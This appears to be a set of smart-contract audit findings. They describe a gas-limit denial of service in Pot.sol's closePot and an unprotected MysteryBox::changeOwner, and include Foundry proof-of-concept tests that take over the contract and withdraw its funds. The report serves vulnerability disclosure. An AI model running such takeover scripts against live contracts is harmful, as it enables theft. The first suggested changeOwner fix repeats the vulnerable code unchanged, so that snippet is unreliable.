The Cost of Complexity and Ownership

Gas Limit DoS via large amount of claimants

Submitted by Owenzo, rashmor, 0x37, mishraji874, TM2, a1111198, Hoover, Joshuajee. Selected submission by: Hoover.

Summary

The Pot.sol contract contains a vulnerability that can lead to a Denial of Service (DoS) attack. This issue arises from the inefficient handling of claimants in the closePot function, where iterating over a large number of claimants can cause the transaction to run out of gas, thereby preventing the contract from executing as intended.

Vulnerability Details

Affected code - link

The vulnerability is located in the closePot function of the Pot contract, specifically at the loop iterating over the claimants array:

function closePot() external onlyOwner { ... if (remainingRewards > 0) { ... for (uint256 i = 0; i < claimants.length; i++) { _transferReward(claimants[i], claimantCut); } } } 

The closePot function is designed to distribute remaining rewards to claimants after a contest ends. However, if the number of claimants is extremely large, the loop iterating over the claimants array can consume a significant amount of gas. This can lead to a situation where the transaction exceeds the gas limit and fails, effectively making it impossible to close the pot and distribute the rewards.

Exploit

1. Attacker initiates a big contest with a lot of players
2. People claim the cut
3. Owner closes the large pot that will be very costly

 function testGasCostForClosingPotWithManyClaimants() public mintAndApproveTokens { // Generate 2000 players address[] memory players2000 = new address[](2000); uint256[] memory rewards2000 = new uint256[](2000); for (uint256 i = 0; i < 2000; i++) { players2000[i] = address(uint160(i + 1)); rewards2000[i] = 1 ether; } // Create a contest with 2000 players vm.startPrank(user); contest = ContestManager(conMan).createContest(players2000, rewards2000, IERC20(ERC20Mock(weth)), 2000 ether); ContestManager(conMan).fundContest(0); vm.stopPrank(); // Allow 1500 players to claim their cut for (uint256 i = 0; i < 1500; i++) { vm.startPrank(players2000[i]); Pot(contest).claimCut(); vm.stopPrank(); } // Fast forward time to allow closing the pot vm.warp(91 days); // Record gas usage for closing the pot vm.startPrank(user); uint256 gasBeforeClose = gasleft(); ContestManager(conMan).closeContest(contest); uint256 gasUsedClose = gasBeforeClose - gasleft(); vm.stopPrank(); console.log("Gas used for closing pot with 1500 claimants:", gasUsedClose); } 

Gas used for closing pot with 1500 claimants: 6425853

Impact

The primary impact of this vulnerability is a Denial of Service (DoS) attack vector. An attacker (or even normal usage with a large number of claimants) can cause the closePot function to fail due to excessive gas consumption. This prevents the distribution of remaining rewards and the execution of any subsequent logic in the function, potentially locking funds in the contract indefinitely. In the case of smaller pots, it would be a gas inefficiency to iterate over the state variable claimants.

Tools Used

Manual Review and Forge Tests

Recommendations

Gas Optimization: Optimize the loop to reduce gas consumption by using a local variable to iterate over, like in the following example:

 - for (uint256 i = 0; i < claimants.length; i++) { - _transferReward(claimants[i], claimantCut); - } + uint256 claimants_length = claimants.length; + ... + for (uint256 i = 0; i < claimants_length; i++) { + _transferReward(claimants[i], claimantCut); + } 

Batch Processing: Implement batch processing for distributing rewards. This will redesign the protocol functionality but instead of processing all claimants in a single transaction, allow the function to process a subset of claimants per transaction. This can be achieved by introducing pagination or limiting the number of claimants processed in one call. This could also be fixed if the user would claim their reward after 90 days themselves.

Lack of access control in MysteryBox::changeOwner that allows unauthorized ownership transfer, leading to complete contract takeover and fund theft

Submitted by princ3oftm, gabr1sr, 0xethsol, abhishekthakur, JJS, newspacexyz, ognjenovicuros, baldbeardsecguy, foufrix, dustinhuel2, radiumx, FindingNem0, timefliez, ghufranhassan1, AniketTyagi, PureSecurity, 0xserpent, k3ysk1lls, cody, godwinx, appet, hex2bin, mengwp2004, pulse, badal_sharma09, vasquez, 0xharryriddle, dennnny, jporter, poink, ledgerLongBeard, faisalali19, hrmneffdii, 0xdanielc, 4rdiii, juggernaut63, shahid, 0xsalami, afdholudin, whizz1, 0x37, solgoodman, f21, mwendwa, furkansezal, safdie, tsueti, soupy, v1vah0us3, bengillitt, zibrasismail, yourguyd3v, SyncAudit, rolando, exolorkistis, 0xgee001, codedesignz, bryanconquer, 0xnelli, evmninja, poolig4n, ezerez, eth0x, nomadicbear, parkervzone, adamn000, Roskata14, ahamedaathal, heim, phylax, MrCrowNFT, xmrsaifx, coinleft, cryptekmegatron, invcbull, al88nsk, oluwaseyisekoni, vishwa, 0xyogi, 0xsrl, SfT, player, tenderbeastjr, Hoover, Oxchryston, brene, BigDog, eeshenggoh, devvmichael, tm2, lamsy, oxdvoe, dayeneris1, pob001, badar, murelel, chrissavov, xilobytes, awacs, jalilbm, n3smaro, pxng0lin, paolinapetkova, lydiamt, elvin_a_block, parmakhanm786, myssteeque, bhanusaienamala, 4th05, cryptedoji, cryptolappi, blacksquirrel, ferrabled. Selected submission by: Hoover

Summary

The MysteryBox.sol contract contains a critical access control vulnerability in the MysteryBox::changeOwner function. This vulnerability allows any user to become the owner of the contract, granting them unrestricted access to sensitive functions such as withdrawing funds, setting box prices, and adding rewards.

Vulnerability Details

Affected code - link

The vulnerability stems from the MysteryBox::changeOwner function lacking proper access control:

 function changeOwner(address _newOwner) public { owner = _newOwner; } 

This function allows any address to call it and change the owner of the contract. As a result, an attacker can easily take control of the contract by calling this function.

PoC

1. An attacker calls the changeOwner function to become the new owner of the contract.

2. The attacker, now the owner, withdraws all funds from the contract.

3. The attacker changes the box price to a new value.

4. The attacker adds a new reward to the reward pool.

 function testAccessControlVulnerability() public { // 1. Change owner console.log("Old Owner:", mysteryBox.owner()); vm.prank(attacker); mysteryBox.changeOwner(attacker); assertEq(mysteryBox.owner(), attacker); console.log("New Owner:", mysteryBox.owner()); // 2. Withdraw funds vm.deal(address(mysteryBox), 1 ether); uint256 initialAttackerBalance = attacker.balance; console.log("Attacker Balance Before Withdraw:", initialAttackerBalance); vm.prank(attacker); mysteryBox.withdrawFunds(); uint256 finalAttackerBalance = attacker.balance; console.log("Attacker Balance After Withdraw:", finalAttackerBalance); assertGt(finalAttackerBalance, initialAttackerBalance, "Attacker should be able to withdraw funds"); // 3. Set box price uint256 initialBoxPrice = mysteryBox.boxPrice(); console.log("Box Price Before Change:", initialBoxPrice); uint256 newPrice = 0.2 ether; vm.prank(attacker); mysteryBox.setBoxPrice(newPrice); uint256 finalBoxPrice = mysteryBox.boxPrice(); console.log("Box Price After Change:", finalBoxPrice); assertEq(finalBoxPrice, newPrice, "Attacker should be able to set box price"); // 4. Add reward string memory rewardName = "Attacker Coin"; uint256 rewardValue = 1337 wei; vm.prank(attacker); mysteryBox.addReward(rewardName, rewardValue); MysteryBox.Reward[] memory rewardPool = mysteryBox.getRewardPool(); console.log("Rewards Available:"); for (uint256 i = 0; i < rewardPool.length; i++) { console.log("Reward Name:", rewardPool[i].name, "Reward Value:", rewardPool[i].value); } bool rewardFound = false; for (uint256 i = 0; i < rewardPool.length; i++) { if (keccak256(abi.encodePacked(rewardPool[i].name)) == keccak256(abi.encodePacked(rewardName)) && rewardPool[i].value == rewardValue) { rewardFound = true; break; } } assertTrue(rewardFound, "Attacker should be able to add a new reward"); } 

This PoC demonstrates that an attacker can:

1. Take ownership of the contract
2. Withdraw all funds from the contract
3. Change the box price at will
4. Add new rewards to the reward pool

The console output shows the changes made by the attacker:

 Old Owner: 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266 Old Owner: 0x7c8999dC9a822c1f0Df42023113EDB4FDd543266 New Owner: 0x0000000000000000000000000000000000000003 Attacker Balance Before Withdraw: 0 Attacker Balance After Withdraw: 1000000000000000000 Box Price Before Change: 100000000000000000 Box Price After Change: 200000000000000000 Rewards Available: Reward Name: Gold Coin Reward Value: 500000000000000000 Reward Name: Silver Coin Reward Value: 250000000000000000 Reward Name: Bronze Coin Reward Value: 100000000000000000 Reward Name: Coal Reward Value: 0 Reward Name: Attacker Coin Reward Value: 1337 

These actions should only be possible for the legitimate owner of the contract, highlighting the severity of the access control vulnerability.

Impact

The lack of access control in the MysteryBox::changeOwner function presents a critical vulnerability that can lead to catastrophic consequences for the contract and its users:

1. Complete Contract Takeover: An attacker can easily become the owner of the contract, granting them unrestricted access to all owner-only functions. This allows them to manipulate the contract's core functionality at will.
2. Fund Theft: As the new owner, the attacker can withdraw all funds from the contract using the withdrawFunds function. This could result in significant financial losses for the original owner and users who have invested in mystery boxes.
3. Price Manipulation: The attacker can arbitrarily change the box price using the MysteryBox::setBoxPrice function. This could be exploited to:
   • Set extremely low prices to drain the contract's rewards quickly
   • Set unreasonably high prices to prevent legitimate users from participating
4. Reward Pool Corruption: With the ability to add new rewards via the addReward function, an attacker could:
   • Introduce worthless rewards
   • Oversaturate the reward pool with low-value items, reducing the chances of users receiving valuable rewards
5. Loss of User Trust: Once users discover that the contract has been compromised, it will likely lead to a complete loss of trust in the platform, potentially causing irreparable damage to the project's reputation.
6. Disruption of Game Economics: For gaming or NFT projects utilizing this contract, the ability to manipulate prices and rewards could severely disrupt the in-game economy and user experience.

The severity of this vulnerability cannot be overstated. It essentially provides a "master key" to the entire contract, allowing an attacker to completely subvert its intended functionality and potentially cause significant financial and reputational damage to the project and its users.

Tools Used

Manual Review and Foundry Test

Recommendations

Implement proper access control on the MysteryBox::changeOwner function with custom revert errors:

 contract MysteryBox { // ... other contract code ... function changeOwner(address _newOwner) public { owner = _newOwner; } } 

Or consider using OpenZeppelin's Ownable contract to handle ownership-related functionality securely:

 import "@openzeppelin/contracts/access/Ownable.sol"; contract MysteryBox is Ownable { // ... other contract code ... function changeOwner(address _newOwner) public onlyOwner { transferOwnership(_newOwner); } } 

Add access control to other sensitive functions like MysteryBox::withdrawFunds, MysteryBox::setBoxPrice, and MysteryBox::addReward using the onlyOwner modifier.

When implementing an Ownable contract consider adding a time-lock mechanism for ownership transfers to provide an additional layer of security.

By implementing these recommendations, the security of the MysteryBox contract can be significantly improved, preventing unauthorized access and protecting both the contract and its users from potential attacks.